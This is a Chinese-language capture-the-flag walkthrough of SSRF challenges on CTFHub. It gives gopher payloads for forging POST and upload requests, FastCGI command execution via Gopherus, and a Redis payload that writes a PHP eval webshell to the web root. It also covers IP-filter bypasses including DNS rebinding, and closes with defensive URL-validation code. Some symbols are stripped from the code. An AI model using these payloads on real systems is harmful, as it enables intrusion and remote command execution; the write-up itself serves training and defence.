CTFHub-SSRF实战:从协议利用到Bypass技巧的完整链条解析
1. SSRF漏洞基础与CTFHub靶场环境搭建SSRFServer-Side Request Forgery服务端请求伪造是Web安全中常见的漏洞类型。简单来说就是攻击者能够诱使服务器向任意地址发起网络请求。这就像你让快递员去取件结果他不仅取了你要的包裹还顺便把你邻居家的保险箱也搬来了。在CTFHub靶场中我们可以安全地练习各种SSRF攻击手法。首先需要准备以下环境安装Burp Suite Community版用于抓包分析准备Python3环境用于编写测试脚本下载Gopherus工具GitHub开源项目用于协议利用# 安装必要工具 sudo apt update sudo apt install -y python3 python3-pip pip3 install requests urllib3靶场环境通常会模拟以下常见漏洞场景存在未授权访问的内网服务如Redis、FastCGI服务器对用户输入校验不严存在可被利用的特殊协议处理gopher://、file://等2. Post请求伪造实战解析Post请求伪造是SSRF中最基础的攻击方式。我们来看一个典型场景靶场提供了文件读取功能但flag需要通过POST特定参数才能获取。2.1 初步探测与源码分析首先尝试用file协议读取源码?urlfile:///var/www/html/index.php读取到的源码中通常会包含关键逻辑比如if($_SERVER[REQUEST_METHOD] POST) { if($_POST[key] $secret_key) { echo $flag; } }2.2 构造恶意Post请求这里需要使用gopher协议构造TCP流。关键步骤原始Post包构造POST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 33 key88e24a185b1471ea34764dfb6129c7d7进行三次URL编码注意%0A要替换为%0D%0Afrom urllib.parse import quote payload POST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 33 key88e24a185b1471ea34764dfb6129c7d7 encoded quote(payload.replace(\n, \r\n)) double_encoded quote(encoded) triple_encoded quote(double_encoded) print(triple_encoded)2.3 最终Payload构造将编码后的字符串嵌入gopher协议?urlgopher://127.0.0.1:80/_编码后的字符串实际测试中发现某些靶场需要二次跳转?url127.0.0.1/index.php?urlgopher://127.0.0.1:80/_编码字符串3. 文件上传结合SSRF的进阶利用当目标系统存在文件上传功能时SSRF的破坏性会显著增强。我们来看一个典型案例3.1 源码审计与界面修改首先读取源码发现上传表单被隐藏form actionupload.php methodpost enctypemultipart/form-data styledisplay:none input typefile namefile /form通过浏览器开发者工具删除display:none属性显示上传表单。3.2 抓包分析上传请求上传测试文件后Burp捕获到的请求示例POST /upload.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 Content-Length: 288 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namefile; filenametest.txt Content-Type: text/plain test content ------WebKitFormBoundaryABC123--3.3 构造gopher攻击Payload关键处理步骤将捕获的请求包中的换行符替换为\r\n进行一次URL编码将所有%0A替换为%0D%0A再进行两次URL编码最终Payload格式?urlgopher://127.0.0.1:80/_编码后的上传请求4. FastCGI协议利用深度剖析FastCGI是Web服务器与PHP解释器之间的通信协议不当配置会导致严重漏洞。4.1 环境检测与利用准备首先确认PHP-FPM监听端口通常为9000netstat -tulnp | grep php使用Gopherus工具生成Payloadpython gopherus.py --exploit fastcgi /var/www/html/index.php4.2 分步攻击演示执行系统命令探测# 生成的Payload会包含类似以下命令 export SCRIPT_FILENAME/var/www/html/index.php export PHP_VALUEallow_url_include1 echo ?php system(ls /); ? | php-cgi查找flag文件find / -name *flag* 2/dev/null读取flag内容cat /var/lib/flag_xxxx4.3 注意事项不同系统PHP文件路径可能不同常见的有/usr/share/nginx/html/index.php/var/www/html/index.php/usr/local/nginx/html/index.php某些环境需要指定PHP_ADMIN_VALUE参数5. Redis未授权访问利用实战Redis作为内存数据库常因配置不当导致未授权访问。5.1 Redis协议基础Redis协议是简单的文本协议命令格式*参数数量 CR LF $参数1长度 CR LF 参数1 CR LF ...示例设置键值对*3 $3 SET $5 mykey $7 myvalue5.2 写入WebShell通过SSRF利用gopher协议写入PHP文件生成恶意Redis命令python gopherus.py --exploit redis典型Payload结构?urlgopher://127.0.0.1:6379/_*4 $6 CONFIG $3 SET $3 dir $13 /var/www/html *4 $6 CONFIG $3 SET $10 dbfilename $9 shell.php *3 $3 SET $1 1 $28 ?php eval($_GET[cmd]); ? *1 $4 SAVE5.3 蚁剑连接与flag获取写入成功后使用中国蚁剑连接URL: http://target.com/shell.php密码: cmd在虚拟终端中执行查找flag的命令find / -name *flag* 2/dev/null6. IP绕过技巧大全当目标系统对127.0.0.1等常见地址进行过滤时需要各种绕过技巧。6.1 URL解析特性绕过利用符号的解析特性http://notfound.ctfhub.com127.0.0.1/flag.php浏览器会解析为用户名notfound.ctfhub.com主机127.0.0.16.2 进制转换绕过IP地址的多种表示形式十进制2130706433 → 127.0.0.1十六进制0x7f000001 → 127.0.0.1八进制0177.0.0.01 → 127.0.0.1使用示例?urlhttp://2130706433/flag.php6.3 302跳转绕过搭建一个简单的跳转服务Python示例from flask import Flask, redirect app Flask(__name__) app.route(/redirect) def redir(): return redirect(http://127.0.0.1/flag.php, code302) if __name__ __main__: app.run(port8000)然后通过外网服务跳转?urlhttp://your-server.com:8000/redirect6.4 DNS重绑定攻击使用rbndr.us等DNS重绑定服务注册一个子域名如evil.example.com设置TTL非常短如60秒第一次解析返回合法IP通过验证第二次解析返回127.0.0.1Payload示例?urlhttp://evil.example.com/flag.php7. 防御方案与最佳实践了解攻击手法后防御措施也很重要输入验证白名单校验域名和IP禁止内网地址段127.0.0.0/8, 10.0.0.0/8等协议限制禁用危险协议gopher://, file://等只允许HTTP/HTTPS网络层防护出口防火墙限制重要服务设置认证代码示例PHP安全校验function isSafeUrl($url) { $parsed parse_url($url); if(!$parsed || !isset($parsed[host])) { return false; } $host $parsed[host]; $ip gethostbyname($host); // 禁止内网IP $privateRanges [ 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8 ]; foreach($privateRanges as $range) { if(ipInRange($ip, $range)) { return false; } } // 只允许http/https if(isset($parsed[scheme]) !in_array(strtolower($parsed[scheme]), [http,https])) { return false; } return true; }在实际项目中遇到过因为SSRF导致Redis被入侵的案例后来我们建立了多层次的防御体系网络ACL、应用层校验、日志监控三位一体。建议在开发阶段就使用类似SSRFmap这样的工具进行自检比出事后再补救要省心得多。